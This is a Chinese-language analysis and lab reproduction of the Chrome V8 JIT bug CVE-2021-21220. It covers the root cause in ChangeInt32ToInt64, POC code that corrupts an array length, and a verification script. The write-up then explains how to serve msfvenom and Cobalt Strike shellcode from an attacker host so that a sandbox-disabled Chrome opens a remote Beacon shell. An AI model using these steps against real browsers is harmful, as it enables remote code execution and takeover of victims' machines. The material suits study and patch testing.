漏洞简介
Google Chrome浏览器是一款由Google公司开发的网页浏览器,该浏览器基于其他开源软件撰写,包括WebKit,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。
通过CVE-2021-21220漏洞,受害者通过未开沙箱机制的Chrome浏览器打开攻击者置入恶意代码的网页后就会执行攻击者想要执行的任意代码。
该漏洞产生的原因是Chrome的V8引擎JIT模块在 ChangeInt32ToInt64 函数的输入值一定会被看作一个 int32 的值来处理,就会进行有符号扩展,进而发生下溢,以此可以利用来修改一些东西,比如分配的数组的长度,这样就可以越界访问其他内存的数据,进而达到任意地址写的目的,攻击者还结合了一些其他手段来绕过Chrome内部的缓解措施达到任意目录执行的目的。漏洞的根源是V8 对ChangeInt32ToInt64的假设是该节点的输入必定被解释为一个有符号的Int32的值,所以无论 LoadRepresentation如何,都应该使用X64Movsxlq指令。
影响版本
- x64架构 Google Chrome <= 89.0.4389.128
- 基于Chromium内核的 Microsoft Edge <= 89.0.774.76
- 其他基于V8引擎的浏览器
漏洞分析
变量 x 的值和 2**31(2147483648) 有很大关系。有符号的int32 整数范围 [-2147483648~2147483647],在这个地方进行加减操作,在64位平台下很容易发生 int32 和 int64 之间的相互转换。
POC
const _arr = new Uint32Array([2**31]);// _arr为uint32类型的变量,其值为0x80000000。
function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;//异或了0之后-2147483648+1》-2147483647;0x80000000转化为int64类型+1》0x80000001
x = Math.abs(x);//2147483647 0x80000001
x -= 2147483647;// 0 2
x = Math.max(x, 0);// 0 2
x -= 1;// -1 1
if(x==-1) x = 0;// 0 1
var arr = new Array(x);// 0 1
arr.shift();//数组不变 数组长度为-1
var cor = [1.1, 1.2, 1.3];
return [arr, cor];
}
在JIT的优化过程中,存在两个问题:
1.将b[0]转化为int64,把符号去掉了,从Turbo流程图看,是通过ChangeInt32ToInt64
来改变b[0]的变量类型,而在这个opcode实现的代码中:
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
......
switch (rep) {
case MachineRepresentation::kBit: // Fall through.
case MachineRepresentation::kWord8:
opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
break;
case MachineRepresentation::kWord16:
opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
break;
case MachineRepresentation::kWord32:
opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
break;
default:
UNREACHABLE();
return;
}
......
根据上面代码可以看出,如果b[0]是有符号的,那么将会使用kX64Movsxlq
指令进行转换,如果是无符号的就会使用kX64Movl
指令进行转换。
b[0]因为是一个uint32类型的变量,所以使用movl进行扩展大小,所以没有扩展其符号,导致出现了问题。
2.shitf函数将数组长度设置为-1。
shift函数的正常逻辑是,判断数组的长度,如果其长度大于0,并且小于100,那么将会对长度的赋值进行优化,预测其长度,然后进行减1操作,直接写入数组的长度。
在JIT的预测当中,x的值为0,因为其预测是按照没有bug的情况进行预测的,但是实际情况x为1,这就导致实际情况的x通过了shitf的长度检查,然后却把x认为是0,从而-1,把数组的长度设置为了-1。
/*验证脚本*/
var _arr = new Uint32Array([2**31]);
function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;
x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);
x -= 1;
if(x==-1) x = 0;
var arr = new Array(x);
return arr
}
for(var i=0;i<0x3000;++i)
foo(true);
var x = foo(false);
if(x.length){
alert("vuln is exist")
}
弹出窗口vuln is exist
,说明存在漏洞
环境搭建
- 准备一台win10虚拟机:192.168.21.140,下载安装历史版本的x64的chrome浏览器,禁用掉chrome自动更新 (本次复现使用的google chrome版本为89.0.4389.90)
- 准备一台攻击机kali:192.168.21.128
- Cobalt strike 4.0
- Metasploit
漏洞复现
利用msf生成shellcode使电脑弹计算器
准备好chrome浏览器64位,右键属性,打开文件所在位置,运行无沙箱模式chrome
浏览器沙箱
为了防止系统或 Web 应用程序中出现安全漏洞,开发人员需要弄清楚如何处理它们
。这是浏览器沙盒派上用场的时候。浏览器沙箱提供了一个安全的虚拟环境来测试有害代码或运行第三方软件,而不会损害系统的数据或本地文件。例如,如果你在沙盒中下载恶意附件,它不会损坏系统的现有文件或资源。沙盒具有同源功能,它允许JavaScript在网页上添加或自定义元素,同时限制对外部JSON文件的访问。今天,流行的网络浏览器,如Chrome,Firefox和Edge,都带有内置的沙箱。沙盒浏览器的最终目标是保护你的机器免受与浏览相关的风险。因此,如果用户从网站下载恶意软件,该软件将下载到浏览器的沙箱中。关闭沙箱时,其中的所有内容(包括有害代码)都会被清除。
chrome.exe --no-sandbox
在kali上生成windows64位的shellcode(弹出计算器),复制替换到对应的exp.html(该html为自己搭建,并将shellcode改为msf生成的shellcode)中,将exp.html移动到kali:/var/www/html下,并开启80端口服务,windows10访问192.168.21.128/exp.html,弹出计算机用msf生成shellcodemsfvenom -a x64 -p windows/x64/exec CMD="calc" EXITFUNC=thread -f num
cp exp.html /var/www/html
python3 -m http.server 80
利用cobalt strike上线shell
启动cs server端(服务端)
./teamserver 192.168.21.128 123456
启动程序 服务机IP 密码
用client端(客户端)去连接server端
./cs.sh #启动程序
主机IP即客户端(攻击机IP):192.168.21.128
端口:50050 #服务端开放的端口为50050
用户名:123456 #名称可以随便取
密码:123456 #必须与服务端密码相一致
设置监听器
名字:chrome_cve
payload:Beacon HTTP
HTTP Hosts:192.168.21.128(主机IP)
利用cs生成shellcode,生成payload
将\x替换成” ,0x“,然后将代码替换掉exp.html中的shellcode变成exp1.html
win10访问192.168.21.128/exp1.html,在cs端可以看到
拿到shell
右键进入beacon,拿到了win10的shell,此时就可以在shell中执行任意命令
查看屏幕截图
查看当前路径
查看当前文件进程
查看文件管理
修复建议
- 更新Chrome浏览器到最新版本
- 更新Microsoft Edge到最新版本
- 最好不要打开来历不明的网页链接以及点击来源不明的邮件附件